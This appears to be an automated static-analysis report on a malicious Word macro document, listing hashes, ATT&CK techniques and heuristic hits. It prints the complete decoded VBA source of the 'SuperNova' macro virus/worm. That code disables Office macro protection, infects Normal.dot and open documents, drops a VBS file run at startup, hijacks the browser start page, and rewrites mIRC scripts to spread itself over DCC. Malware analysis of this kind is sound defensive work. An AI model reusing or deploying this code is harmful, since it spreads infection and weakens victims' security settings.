Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 d5567136a96052d8…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-07-30 16:16:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-27
MD5: 811fd8b7523d2854c846d4a054b0cb30 SHA-1: 6d9ce615785ac27664f69449cf58248127d059a2 SHA-256: d5567136a96052d8e552efd7bc8b510177e2ae9ef7c8a7ccb97a29f854039d6f
476 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Tampering T1566.001 Spearphishing Attachment

This macro-enabled Word document contains VBA code that attempts to disable macro virus protection and replicate itself into the Normal.dot template and the active document. The script explicitly uses `WScript.Shell` and `CreateObject` to manipulate Office security settings and file system objects, indicating a malicious intent to spread and potentially establish persistence. The ClamAV detection of 'Win.Trojan.Psycho-3' further supports its classification as a known malware family.

Heuristics 11

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
             Print #1, "Set WSHShell = WScript.CreateObject(""WScript.Shell"")"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fs = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen(): SuperNova: End Sub
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5731 bytes
SHA-256: dba06cd5835695ecd632e28ae650fbb2b787fddec43132b791ea361c51d39c4b
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SuperNova"

Sub SuperNova()
    On Error Resume Next
    ' W2K Only due to Normal Template Position
    ' SuperNova Virus/Worm v1.00 With VBS Backup
    ' by WalruS 07/00
        With Options
            .VirusProtection = False
            .ConfirmConversions = False
            .SaveNormalPrompt = False
        End With
    Application.DisplayAlerts = wdAlertsNone
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    StatusBar = "    SuperNova"
    Application.Caption = "SuperNova"
    Application.Username = "The WalruS"
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set a = fs.CreateFolder("C:\Windows\System\Backup")
    CommandBars("Help").Controls("About Microsoft Word").Caption = "SuperNova"
    Call InfectNormal
    Call InfectDocument
    Call LiveForever
End Sub

Sub InfectNormal()
On Error Resume Next
    If NormalTemplate.VBProject.VBComponents.Item("SuperNova").Name <> "SuperNova" Then
    ActiveDocument.VBProject.VBComponents("SuperNova").Export ("C:\Windows\SuperNova.drv")
    NormalTemplate.VBProject.VBComponents.import ("C:\Windows\SuperNova.drv")
    NormalTemplate.Save
    End If
End Sub

Sub InfectDocument()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("SuperNova").Name <> "SuperNova" Then
    NormalTemplate.VBProject.VBComponents("SuperNova").Export ("C:\Windows\SuperNova.drv")
    ActiveDocument.VBProject.VBComponents.import ("C:\Windows\SuperNova.drv")
    ActiveDocument.Save
    End If
End Sub

Sub LiveForever()
     System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "SuperNova") = "C:\Windows\System\Backup\WalruS.vbs"
     Open "C:\Windows\System\Backup\WalruS.vbs" For Output As #1
         Print #1, "' WalruS.vbs for SuperNova by The WalruS"
         Print #1, "On Error Resume Next"
         Print #1, "Welcome_MsgBox_Message_Text   = "" Wally The WalruS Thanx Ya"""
         Print #1, "Welcome_MsgBox_Title_Text = ""SuperNova"""
         Print #1, "If Day(Now) = 1 Then Call Payload"
         Print #1, "Call Backup"
         Print #1, "Call Regedit"
         Print #1, "Sub Backup()"
         Print #1, "Dim fso, template"
         Print #1, "Set fso = CreateObject(""Scripting.FileSystemObject"")"
         Print #1, "If (fso.FileExists(""C:\Windows\System\Backup\Normal.bak"")) Then"
         Print #1, "Call ReInfect"
         Print #1, "Else"
         Print #1, "Set template = fso.GetFile(""C:\Windows\Application Data\Microsoft\Templates\Normal.dot"")"
         Print #1, "template.Copy (""C:\Windows\System\Backup\Normal.bak"")"
         Print #1, "End If"
         Print #1, "End Sub"
         Print #1, "Sub ReInfect()"
         Print #1, "Dim fso, newtemp"
         Print #1, "Set fso = CreateObject(""Scripting.FileSystemObject"")"
         Print #1, "Set newtemp = fso.GetFile(""C:\Windows\System\Backup\Normal.bak"")"
         Print #1, "newtemp.Copy(""C:\Windows\Application Data\Microsoft\Templates\Normal.dot"")"
         Print #1, "End Sub"
         Print #1, "Sub Regedit()"
         Print #1, "Dim WSHShell"
         Print #1, "Set WSHShell = WScript.CreateObject(""WScript.Shell"")"
         Print #1, "WSHShell.RegWrite ""HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"", ""www.walrus.8k.com"""
         Print #1, "WSHShell.RegWrite ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwner"", ""The WalruS"""
         Print #1, "WSHShell.RegWrite ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOrganization"", ""SuperNova""  "
         Print #1, "End Sub"
         Print #1, "Sub Payload()"
         Print #1, "Dim intDoIt"
         Print #1, "intDoIt = MsgBox(Welcome_MsgBox_Message_Text,    _ "
         Print #1, "vbOKCancel + vbInformation,       _"
         Print #1, "Welcome_MsgBox_Title_Text )"
         Print #1, "If intDoIt = vbCancel Then"
         Print #1, "WScript.Quit"
         Print #1, "End If"
         Print #1, "End Sub"
    Close #1
End Sub

Sub AutoOpen(): SuperNova: End Sub

Sub AutoClose()
    On Error Resume Next
    ' Mirc Worm
    If (Second(Now()) > 50) Then
    installed = Dir("c:\mirc\mirc32.exe")
    If installed = "" Then
    Exit Sub
    Else
    reproduce = Dir("c:\mirc\download\SuperNova.doc")
    If reproduce = "" Then ActiveDocument.SaveAs "c:\mirc\download\SuperNova.doc"
    Kill "c:\mirc\script.ini"
    Open "c:\mirc\script.ini" For Output As #1
        Print #1, "[script]"
        Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\SuperNova.doc }"
        Print #1, "n1=on 1:CONNECT: {"
        Print #1, "n2=  /join #virus "
        Print #1, "n3=  /msg #virus Im supporting the SuperNova Virus [WalruS]"
        Print #1, "n4= /part #virus"
        Print #1, "n5= /clear"
        Print #1, "n6= }"
        Close #1
    End If
    End If
End Sub

Sub HelpAbout()
    MsgBox "SuperNova by The WalruS", 0, "SuperNova"
End Sub

Sub EditPaste()
    Selection.MoveStart
    Selection.TypeText "Wally the Walrus thanx ya"
End Sub

Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.